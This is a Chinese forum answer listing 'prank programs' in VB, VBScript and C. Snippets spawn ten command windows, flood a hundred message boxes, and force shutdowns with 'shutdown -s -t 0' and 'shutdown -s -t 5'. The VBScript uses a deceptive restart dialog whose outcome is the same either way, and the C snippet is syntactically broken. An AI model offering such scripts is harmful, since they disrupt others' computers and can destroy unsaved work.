vb恶搞程序有哪些？

1、窗口炸d\x0d\x0aPrivateSubForm_Load()\x0d\x0aFora=1To10\x0d\x0aShell"cmd/cecho轰隆——一切的全完了！&pause",vbNormalFocus\x0d\x0aNext\x0d\x0aEndSub\x0d\x0a2、数羊程序\x0d\x0aPrivateSubForm_Load()\x0d\x0aMsgBox"困死我了，睡不着，帮我数羊",,"数羊"\x0d\x0aMsgBox"就一百只羊吧！",,"数羊"\x0d\x0aFora=1To100\x0d\x0aMsgBoxa&"只羊",,"数羊"\x0d\x0aNext\x0d\x0aMsgBox"身边没个人，好孤单，好寂寞??","64","数羊"\x0d\x0aShell"shutdown-s-t0"\x0d\x0aEndSub\x0d\x0a3、按十万次回车\x0d\x0aPrivateSubForm_Load()\x0d\x0aFora=1To100000\x0d\x0aSendKeys"{enter}"\x0d\x0aNext\x0d\x0aEndSub

代码如下，复制到记事本，将txt改为vbs就ok了，中间的字可自己改。

if

MsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel

then

msgbox

"

正在清理系统垃圾wow

~_^",,"算你倒霉！！"

Set

objShell

=

CreateObject("Wscript.Shell")

objShell.Run

"shutdown

-s

-t

5",,true

end

if

加分哦

#include<stdio.h>

#include<string.h>//

int main(void)

{

char ch[8]

printf("请输入您的名字拼音，我可以算出你的智商哦!")

while(1)//

{

scanf("%s",ch)//

if(!strcmp(ch,"langtian"))//

{

printf("真是个大帅哥啊,智商达1000\n")

}else{

printf("猪头吗？\n猪头呀！\n")

}

}

return 0

}

---